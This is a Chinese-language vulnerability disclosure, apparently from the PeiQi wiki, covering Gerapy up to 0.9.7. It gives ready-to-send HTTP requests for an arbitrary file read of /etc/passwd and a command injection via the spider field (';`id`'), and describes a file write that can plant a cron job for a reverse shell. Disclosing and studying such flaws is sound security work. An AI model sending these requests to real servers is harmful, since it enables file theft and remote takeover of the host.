一:漏洞描述?
继昨天那篇文章的漏洞预警,对该项目再次审计
二: 漏洞影响?
Gerapy <= 0.9.7
三: 漏洞复现?
登录页面
我们首先先查看关键接口文件 gerapy/server/core/urls.py
可以看到 api/project/file/read 接口可能与文件读取相关,查看调用的文件
gerapy/server/core/views.py 中的 project_file_read 方法
def project_file_read(request):
"""
get content of project file
:param request: request object
:return: file content
"""
if request.method == 'POST':
data = json.loads(request.body)
path = join(data['path'], data['label'])
# binary file
with open(path, 'rb') as f:
return HttpResponse(f.read().decode('utf-8'))
path参数与label参数皆可控,攻击者只需要传入 json数据构造特殊请求就可以读取服务器中的文件
POST /api/project/file/read HTTP/1.1
Host:
Content-Length: 35
Accept: application/json, text/plain, */*
Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
{"path":"/etc/", "label":"passwd"}
我们再继续向下看一些接口,根据漏洞预警描述官方更新最新版已经把昨天说的那个git clone 命令拼接修复了,我们需要再寻找一个方式获取权限
我们找到一个参数 spider 为可控参数,使用Popen命令执行时我们可以拼接命令造成命令注入,看一下方法对应的URl接口
构造请求包测试命令执行
POST /api/project/1/parse HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 18
{"spider":";`id`"}
我们再往下看文件更新部分代码
path lable code 参数均为用户可控,就导致了任意文件的写入了, 一般项目权限为 root,可以通过写定时任务等方法反弹shell,用之前任意文件读取确认文件的写入
四: 关于文库?
https://www.yuque.com/peiqiwiki
最后
下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群加我拉你啦~
别忘了Github下载完给个小星星⭐
同时知识星球也开放运营啦,希望师傅们支持支持啦?
知识星球里会持续发布一些漏洞公开信息和技术文章~
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
原文始发于微信公众号(PeiQi文库):漏洞预警:Gerapy项目 的二次漏洞挖掘